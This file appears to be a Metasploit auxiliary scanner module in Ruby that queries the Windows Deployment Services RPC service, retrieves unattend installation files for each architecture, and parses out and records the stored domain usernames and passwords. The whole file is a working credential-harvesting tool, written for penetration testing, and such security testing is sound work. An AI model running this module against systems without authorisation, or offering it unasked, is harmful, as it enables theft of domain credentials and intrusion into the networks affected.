metasploit-framework/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb

222 lines
6.7 KiB
Ruby
Raw Normal View History

2013-01-31 19:53:37 +00:00
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex/proto/dcerpc'
require 'rex/proto/dcerpc/wdscp'
require 'rex/parser/unattend'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::DCERPC
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
DCERPCPacket = Rex::Proto::DCERPC::Packet
DCERPCClient = Rex::Proto::DCERPC::Client
DCERPCResponse = Rex::Proto::DCERPC::Response
DCERPCUUID = Rex::Proto::DCERPC::UUID
WDS_CONST = Rex::Proto::DCERPC::WDSCP::Constants
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Windows Deployment Services Unattend Retrieval',
'Description' => %q{
This module retrieves the client unattend file from Windows
Deployment Services RPC service and parses out the stored credentials.
Tested against Windows 2008 R2
},
'Author' => [ 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' ],
'License' => MSF_LICENSE,
'Version' => '',
'References' =>
[
[ 'MSDN', 'http://msdn.microsoft.com/en-us/library/dd891255(prot.20).aspx'],
[ 'URL', 'http://rewtdance.blogspot.co.uk/2012/11/windows-deployment-services-clear-text.html']
],
))
register_options(
[
Opt::RPORT(5040),
], self.class)
deregister_options('RHOST', 'CHOST', 'CPORT', 'SSL', 'SSLVersion')
register_advanced_options(
[
OptBool.new('ENUM_ARM', [true, 'Enumerate Unattend for ARM architectures (not currently supported by Windows and will cause an error in System Event Log)', false])
], self.class)
end
def run_host(ip)
begin
query_host(ip)
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error("#{ip}:#{rport} error: #{e}")
end
end
def query_host(rhost)
# Create a handler with our UUID and Transfer Syntax
self.handle = Rex::Proto::DCERPC::Handle.new(
2013-04-09 20:15:04 +00:00
[
WDS_CONST::WDSCP_RPC_UUID,
'1.0',
'71710533-beba-4937-8319-b5dbef9ccc36',
1
],
'ncacn_ip_tcp',
rhost,
[datastore['RPORT']]
)
2013-01-31 19:53:37 +00:00
print_status("Binding to #{handle} ...")
self.dcerpc = Rex::Proto::DCERPC::Client.new(self.handle, self.sock)
print_good("Bound to #{handle}")
report_service(
:host => rhost,
:port => datastore['RPORT'],
:proto => 'tcp',
:name => "dcerpc",
:info => "#{WDS_CONST::WDSCP_RPC_UUID} v1.0 Windows Deployment Services"
)
table = Rex::Ui::Text::Table.new({
'Header' => 'Windows Deployment Services',
'Indent' => 1,
'Columns' => ['Architecture', 'Type', 'Domain', 'Username', 'Password']
})
creds_found = false
WDS_CONST::ARCHITECTURE.each do |architecture|
if architecture[0] == :ARM && !datastore['ENUM_ARM']
vprint_status "Skipping #{architecture[0]} architecture due to adv option"
next
end
begin
result = request_client_unattend(architecture)
rescue ::Rex::Proto::DCERPC::Exceptions::Fault => e
vprint_error(e.to_s)
print_error("#{rhost} DCERPC Fault - Windows Deployment Services is present but not configured. Perhaps an SCCM installation.")
return
end
unless result.nil?
loot_unattend(architecture[0], result)
results = parse_client_unattend(result)
results.each do |result|
unless result.empty?
unless result['username'].nil? || result['password'].nil?
print_good("Retrived #{result['type']} credentials for #{architecture[0]}")
creds_found = true
domain = ""
domain = result['domain'] if result['domain']
report_creds(domain, result['username'], result['password'])
table << [architecture[0], result['type'], domain, result['username'], result['password']]
end
end
end
end
end
if creds_found
print_line
table.print
print_line
else
print_error("No Unattend files received, service is unlikely to be configured for completely unattended installation.")
end
end
def request_client_unattend(architecture)
# Construct WDS Control Protocol Message
packet = Rex::Proto::DCERPC::WDSCP::Packet.new(:REQUEST, :GET_CLIENT_UNATTEND)
packet.add_var( WDS_CONST::VAR_NAME_ARCHITECTURE, [architecture[1]].pack('C'))
packet.add_var( WDS_CONST::VAR_NAME_CLIENT_GUID,
"\x35\x00\x36\x00\x34\x00\x44\x00\x41\x00\x36\x00\x31\x00\x44\x00"\
"\x32\x00\x41\x00\x45\x00\x31\x00\x41\x00\x41\x00\x42\x00\x32\x00"\
"\x38\x00\x36\x00\x34\x00\x46\x00\x34\x00\x34\x00\x46\x00\x32\x00"\
"\x38\x00\x32\x00\x46\x00\x30\x00\x34\x00\x33\x00\x34\x00\x30\x00"\
"\x00\x00")
packet.add_var( WDS_CONST::VAR_NAME_CLIENT_MAC,
"\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00"\
"\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00"\
"\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x35\x00\x30\x00"\
"\x35\x00\x36\x00\x33\x00\x35\x00\x31\x00\x41\x00\x37\x00\x35\x00"\
"\x00\x00")
packet.add_var( WDS_CONST::VAR_NAME_VERSION,"\x00\x00\x00\x01\x00\x00\x00\x00")
wdsc_packet = packet.create
print_status("Sending #{architecture[0]} Client Unattend request ...")
response = dcerpc.call(0, wdsc_packet)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
vprint_status('Received response ...')
data = dcerpc.last_response.stub_data
# Check WDSC_Operation_Header OpCode-ErrorCode is success 0x000000
op_error_code = data.unpack('i*')[18]
if op_error_code == 0
if data.length < 277
vprint_error("No Unattend received for #{architecture[0]} architecture")
return nil
else
vprint_status("Received #{architecture[0]} unattend file ...")
return extract_unattend(data)
end
else
vprint_error("Error code received for #{architecture[0]}: #{op_error_code}")
return nil
end
end
end
def extract_unattend(data)
start = data.index('<?xml')
finish = data.index('</unattend>')+10
return data[start..finish]
end
def parse_client_unattend(data)
begin
xml = REXML::Document.new(data)
rescue REXML::ParseException => e
print_error("Invalid XML format")
vprint_line(e.message)
end
return Rex::Parser::Unattend.parse(xml).flatten
end
def loot_unattend(archi, data)
return if data.empty?
p = store_loot('windows.unattend.raw', 'text/plain', rhost, data, archi, "Windows Deployment Services")
print_status("Raw version of #{archi} saved as: #{p}")
end
def report_creds(domain, user, pass)
report_auth_info(
:host => rhost,
:port => 4050,
:sname => 'dcerpc',
:proto => 'tcp',
:source_id => nil,
:source_type => "aux",
:user => "#{domain}\\#{user}",
:pass => pass)
end
end